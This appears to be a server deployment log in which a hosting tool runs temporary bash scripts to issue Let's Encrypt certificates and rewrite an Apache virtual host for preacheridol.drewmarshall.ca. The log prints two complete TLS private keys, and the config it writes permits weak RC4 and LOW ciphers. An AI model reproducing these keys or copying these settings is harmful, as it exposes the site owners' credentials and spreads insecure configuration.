    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:01:19: 

chmod 755 /tmp/pkp777977; /tmp/pkp777977; rm /tmp/pkp777977

2026-03-20 06:01:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt	5364
79:96:58:71:b2:c0:1f:59:70:89:de:41:cf:03:45:e9

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBRU13i2aZ0fIpJd0xGTDycmtMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMjQ2WhcNMjYwNjE4MDUwMjQ1WjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
tefL2VlwVZkgHb/6/4ip2O7A/Bps86aOHxpumDKwo7A9EMFr2meXS+dAEKKaHqHS
euC9q8/1rmIyq1bk5RVqGW8Zx9RiFC7yMJSCytoih1dtNkJ5xbxN/MokKyG7rvxB
gluyE2B/SwaWQhVqg1B/NyuI3PCIcBKskl1NM6Q6qK7aWO3uyjWi8t0XYxumq2hI
qJCE3MxHRxl6o6Kn9bi/f/jPF1p78tfPw/pSY3bnOK4Dtj3122rI1qWPLePgyrfv
9KialqGr1UqSGyriaUfTm7O6ddv1Sq0ysXeKGuFH/YZD97WHsCEUGJHkBd5ayHeM
BZ8EfIQqyZ0pqd4FlrExWwIDAQABo4ICLTCCAikwDgYDVR0PAQH/BAQDAgWgMBMG
A1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFL0w7pQD
vlt1PArN2KRbbTQG/MCPMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIz
MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNy
Lm9yZy8wKwYDVR0RBCQwIoINYnVja2V0Z2lncy5jYYIRd3d3LmJ1Y2tldGdpZ3Mu
Y2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMy5jLmxlbmNyLm9yZy80Ni5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcA
dgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZ0J1XGxAAAEAwBH
MEUCICPfCIdFPJiuUlwKG68vght42y3lI71A+p8UXqTz5jllAiEAt0I74DQQkneP
BzcRwOI7uD4WUDzTJz/5P72kADd5uP0AfQAai51pSleYyJmgyoi99I/AtFZgzMNg
DR9x9Gn/x9GsowAAAZ0J1XTkAAgAAAUAV2janQQDAEYwRAIgJmMKpfcCA3vuozt3
qyZ5b2vZQhR51OxOXucrPFLMmWoCIFW2hjSi2CvHiIxEu0W9Wbe7EibvBcDzK7jh
zQE0ZrLxMA0GCSqGSIb3DQEBCwUAA4IBAQCDEjPPlLMC8q8xdVEasJGV2pGH3VPX
9qSoV4ePSNs7L7LQ0lkQr1lj4EL/wgdh0lbfPWCE6rsRpmcnimdvFJSxpvoigCk9
tlU8xzUje1ZtW2HY00U+RET7tbTyDXKTCJ7BpYCUj/6P11Kcva6nXg0KnLN0zkNA
6SOHhK5XciOEeSm9Oysh6h74WoEVRi5Zfdm/4wI38SYmsDOHZuG/maSvcNf++seN
zehIzuGwrBs71VxMLp4al9t3whnjllqC2mKOQongLwYmu1BBPbcHKtLBvCqrcZPs
4B4dFd48c9xD7A5Cbx8hWrlynRj0NMwYgQCRE4phBsxCIxCWJT1SDHZW
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC158vZWXBVmSAd
v/r/iKnY7sD8Gmzzpo4fGm6YMrCjsD0QwWvaZ5dL50AQopoeodJ64L2rz/WuYjKr
VuTlFWoZbxnH1GIULvIwlILK2iKHV202QnnFvE38yiQrIbuu/EGCW7ITYH9LBpZC
FWqDUH83K4jc8IhwEqySXU0zpDqortpY7e7KNaLy3RdjG6araEiokITczEdHGXqj
oqf1uL9/+M8XWnvy18/D+lJjduc4rgO2PfXbasjWpY8t4+DKt+/0qJqWoavVSpIb
KuJpR9Obs7p12/VKrTKxd4oa4Uf9hkP3tYewIRQYkeQF3lrId4wFnwR8hCrJnSmp
3gWWsTFbAgMBAAECggEAKXQsgViff/JIXl88vPUQ983ZDtqaz5+6LZ5ha6/Jj1P/
Zo0dngUTdom5kNDtXGO2SqhisP/QVjAsqd1AhnAt4KPv9RkSTNUx/h4p/D5ftgYX
blER3Rz/jMcoHOgwFD2KVEG/QCkyeQ+EOIUW49v5UcJLC0aJYTjwON6oVEdt0ri7
xMcpmTd+Y3wmrFDsxD5qgc11/53LRVzQ9UOpIx43CbxerDG8Ub2JEU8YRykFqtey
Z/TIaXBADv0f/ANjKwxnBsRCh7nCH+z0XDWw9d3KUv05l1w1LVGwbK+C2pQ2gB5q
Cpo/boKxJf9PjcZzJhzwSdsmUbt+50+l0xnNJhdUMQKBgQDehbO4L2qT16GhIURx
a2hg/LCb3DaSqKiJTmSG9CrF/IFiwaaGzvdZjuFWv0iQIq4O9HxiXYvcTaawMq8u
G/k7f875LeCYsaT0XB9NQZrQKJtUFxPS5Ww1Grs80oN/eCvrbY5yEjgiEIXNT6Ta
MEODNjRx65BiHGPbmZL5lDXX4wKBgQDRRcOtXiWfEtLvCpovUPuxS+uRxUw9y5Jh
Ess1i3KL5eZi+7kgFlIga259NJI5McdwKRQafW5RC6hpnWd7xc6PGnpoUB4isQYq
jmpegAZHvi4tEz69kD7i+snRHLUL5XJOX/JbujmDgw9WB2vUVeaM60NIUEzAawQd
QCPS+85KKQKBgFLjQtqs7uo7PD2lArWs6KiX98FW+g0PPhhHVzLd6MDvGdMLh1hX
59M4Yb/KaOEnyeZQM7UAW4SoeBrSBmcKjIAZT6OJ70txgJx1ZEOG2IAJYDKmlf/M
7c2qM2yojcsBnHqJyLG9D6PAu9aKgEG2EK/jlQ2KTbH+GURHpHPLPXM5AoGABRB9
JcrreigIdsR46sA49xdxQfvWVoCAsFy2Ejunr/8GTkrtNfuUTTiMWfdVupCb1PkJ
hYKXktqHXtbyVCp7TzdC0xdtQ0WpcoozxMmwXTgbAfg/QnMlMnUDQU5Ci2EoHQFx
agrdrXMUge54C5FwnORsomlfEiEE3nhY5Zg2a9ECgYEAqnPbgn2qNGj6T92baKh8
3b9G54zPSI3AispU0920lk9K6GB1JtG4d9W0/bdn8CUWw+v/O/8sCGbTEXzC4LI+
Ppl+L9j3ax+gIgKhUXhVsmze7V2+qGWnRjbATG+JhrVjo/G9JQPWWY0Q/TMDSy49
KWBMrIPU6a//H3xT7bbyRQs=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-20 06:01:19: Establishing a connection
2026-03-20 06:01:19: Establishing a connection
2026-03-20 06:01:19: 

PUT: /tmp/pkp316757

#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-20 06:01:20: 

chmod 755 /tmp/pkp316757; /tmp/pkp316757; rm /tmp/pkp316757

2026-03-20 06:01:20: 


1


2026-03-20 06:01:20: Establishing a connection
2026-03-20 06:01:20: 

PUT: /tmp/pkp951472

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > X_UyF35WgZqLc93G76lvtIZlUx-XD7m8ZzAY6F0OzEM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
X_UyF35WgZqLc93G76lvtIZlUx-XD7m8ZzAY6F0OzEM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 X_UyF35WgZqLc93G76lvtIZlUx-XD7m8ZzAY6F0OzEM


2026-03-20 06:01:20: 

chmod 755 /tmp/pkp951472; /tmp/pkp951472; rm /tmp/pkp951472

2026-03-20 06:01:20: 




2026-03-20 06:01:24: Establishing a connection
2026-03-20 06:01:24: 

PUT: /tmp/pkp135158

#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm X_UyF35WgZqLc93G76lvtIZlUx-XD7m8ZzAY6F0OzEM


2026-03-20 06:01:24: 

chmod 755 /tmp/pkp135158; /tmp/pkp135158; rm /tmp/pkp135158

2026-03-20 06:01:24: 




2026-03-20 06:01:24: Establishing a connection
2026-03-20 06:01:24: 

PUT: /tmp/pkp248963

#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt

cat > $temp_file <<'endmsg'
31:f9:a1:03:d5:79:67:96:db:f5:a6:86:9f:65:97:b7

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBeC0kL65uVTu8rsUZdxkpN1sMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMjUzWhcNMjYwNjE4MDUwMjUyWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEA4qe3Iuh7W1LyWwUxmLPUj3SCKnu18bZjF+smmKocCenh
xUUHPU8z8SNQ6Ie69gDtc3L0os6DVtHJcB55UW4WfIOczz6Q0qSbHsRX3FUAO8U+
9ZPS6SjEQfEHievMZusap2o55cuhE4KmkoBWuAkV6pij/D9nPsngwQz2W1uqc5Nl
e9YWM10UdoTtqPP9QsSS5/wELJGOiZWyl906nHr977PFhOXfPvch1wvVv/mbN3Ma
cszFhiQvKawxyaz71F5whjfRyrxX9Ud9o0HVR00oP2Ytjy0P2LsXSuYnU64OuU7i
HhwbxD6tJx36Ax/nTFcwWLVVVm6TRLqif+C3P14ujQIDAQABo4ICIzCCAh8wDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFN9yhXvsAkFO4XaIT4/tEo/etMUvMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIccHJlYWNoZXJpZG9sLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSg
IqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzEwOS5jcmwwggEEBgorBgEEAdZ5
AgQCBIH1BIHyAPAAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZ0J1Y2FAAAEAwBIMEYCIQD8SphNrKTdkeIVMzYo3P3qpi0a6AQHs5IumMe64LhJ
eAIhAK39YS3gmR1FZEeJ1xgGfKj+OpkpteEc+MGInV0jl02wAHUADleUvPOuqT4z
GyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGdCdWNdAAABAMARjBEAiAFqC9DBZIG
jkWzhjE6mntstOEhFZC0kVgqyzOJOSHE7AIgMweiZPdCUOfOQ7cXjQQZGCBE9+Eb
dG+MaG2gmUBOTUowDQYJKoZIhvcNAQELBQADggEBAIjExIMVwOKT+EOVUKy7oc7r
VJFGy+0KHH/9qdJCug3KFkZbX6ggH3srxaRWdXIeJUhQltQR5RjS0pfULipB4Hwo
5qXKRivtkvtxdFlINxna66oaNVQrrQ/DUlOoqVUtC2NekXfVCe6fJR2uLQVKyONX
6Pbn4dPEs3VvemjW2XmDJfNu2pyrGnbi8KP8dt85ejZLuV+tUG0uZglzuYUrejFo
6llIXcSA3z5ERUoe6JTEzU3VpB8byWkosHEhRz2HzS2ZGMSM/QTpH0DqwCWQlVI2
csejn+HVVbhLIBaJMAmpjNUI7oZ0BJ8x4NzoCZ17JPdhOkphF9BnbmlxPQJB9n0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDip7ci6HtbUvJb
BTGYs9SPdIIqe7XxtmMX6yaYqhwJ6eHFRQc9TzPxI1Doh7r2AO1zcvSizoNW0clw
HnlRbhZ8g5zPPpDSpJsexFfcVQA7xT71k9LpKMRB8QeJ68xm6xqnajnly6ETgqaS
gFa4CRXqmKP8P2c+yeDBDPZbW6pzk2V71hYzXRR2hO2o8/1CxJLn/AQskY6JlbKX
3Tqcev3vs8WE5d8+9yHXC9W/+Zs3cxpyzMWGJC8prDHJrPvUXnCGN9HKvFf1R32j
QdVHTSg/Zi2PLQ/YuxdK5idTrg65TuIeHBvEPq0nHfoDH+dMVzBYtVVWbpNEuqJ/
4Lc/Xi6NAgMBAAECggEAGY4h7LZsNC2LxF33S9mY0YzoITyeFNEE5r09dpCVhTug
2FJyYMQFnf5moLUvDA4qN65iLVod/mO8c98HvDnuoJ7hRw+tmgZzs/oc0uulkVep
w9wlN2NAj5PKzw7uVrtS38XvHb0CHhZIzDNas7jYhwErWiVW8YInDHU28LGK7Clf
rG6HGsL8Os/rBJhorYKSwBT6Br7VN3xhJGW8cNhT2uAMNYIEVdQtyO0m8AblT8Ns
w1X87f8Jp3hSucGxDYJy4mzinx+jDRldgYxId3wEFrfotDVyBewZNcCEdOWmX5Td
Ow5BXX2mIbH2fnJmjQ1RnKREcycquoIvakCCwEpr8QKBgQD+pkn7dFhcFoZ2A/RB
IKLZWRb/6H9d1/zAznoyLJxs1cMKgVw54IXQPpiqn1lNmiVyTouTH5JunYTPikJf
oj/+F0ZzQkuRoVw6y0z4Q2LbjY90cpThTN0DvTgGyUuG41ASf2hgwXVsB7uc0SzG
DDrcVu55SqwBvT36T2JM/QxT/QKBgQDj22vZSriSKyw2lLWwcYd6A5aRcecKkIr4
L7cAIwAWZjkir9PlPf9H8XjhhKJwfxN8sBcYFqCXn3XkHIgpAwKskmjvmYC7N0d5
PTat9U3o7S+DFme5DXy8pKaKkwZtJrxcIkRDYdESPHB75MXtT4g7lWliZtZl7CsH
DKXFh4Ih0QKBgHSMUTIINuS23oWnG6SvNjl5///SPnEKCMGJ/v1104Ywc9scB8Tp
kPUVoTP+SJYu5dKiRlloytFbwMxoQCabEOTPbEwWXJXjn129bJX36YgJC05FnwRa
9JDgioL4oFu1MBG3RGN8R6zRATottmtSb6InG3BiD8WgAnzM1nXcH0dVAoGBANNf
rcC5rFcMbcuEULgJ2V+7DGaIf4gxZnmt6dnani4pTj97VNqIlNSskTLD090ARZeZ
0xKpividGMQwI6/H9ycX+viqMd16/nbd7meZ9FhsD3NPyZDFjj2BkG1kzsVa9cmS
kDjh+Q0tvDtykpn++aYsiMKcG7AZUiEL/owrlPDBAoGBAKIBc8mnIoEssj15MIIF
G2cZ257/CvuEUlpRCeLIxyMh3bp1biIhxpSrDg5v6Yiwk5gR7Yk03boljY9GNeGT
1W9IstuEsajp4qucWCo6Fh1Qb4rjpCl7BnaSE1vKayT1nn6ialTMjKzzzfLzIJl/
UHmwFwdLqdl7mn2BRTMrMwPh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-20 06:01:24: 

chmod 755 /tmp/pkp248963; /tmp/pkp248963; rm /tmp/pkp248963

2026-03-20 06:01:24: 


dir=/etc/ssl/certs


2026-03-20 06:01:24: 

PUT: /tmp/pkp513655

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-20 06:01:24: 

chmod 755 /tmp/pkp513655; /tmp/pkp513655; rm /tmp/pkp513655

2026-03-20 06:01:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-03-20 06:01:24: 

PUT: /tmp/pkp254779

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi


2026-03-20 06:01:24: 

chmod 755 /tmp/pkp254779; /tmp/pkp254779; rm /tmp/pkp254779

2026-03-20 06:01:24: 




2026-03-20 06:01:24: 

PUT: /tmp/pkp293046

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-20 06:01:24: 

chmod 755 /tmp/pkp293046; /tmp/pkp293046; rm /tmp/pkp293046

2026-03-20 06:01:25: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:01:25: Establishing a connection
2026-03-20 06:01:25: 

PUT: /tmp/pkp477412

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-20 06:01:25: 

chmod 755 /tmp/pkp477412; /tmp/pkp477412; rm /tmp/pkp477412

2026-03-20 06:01:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
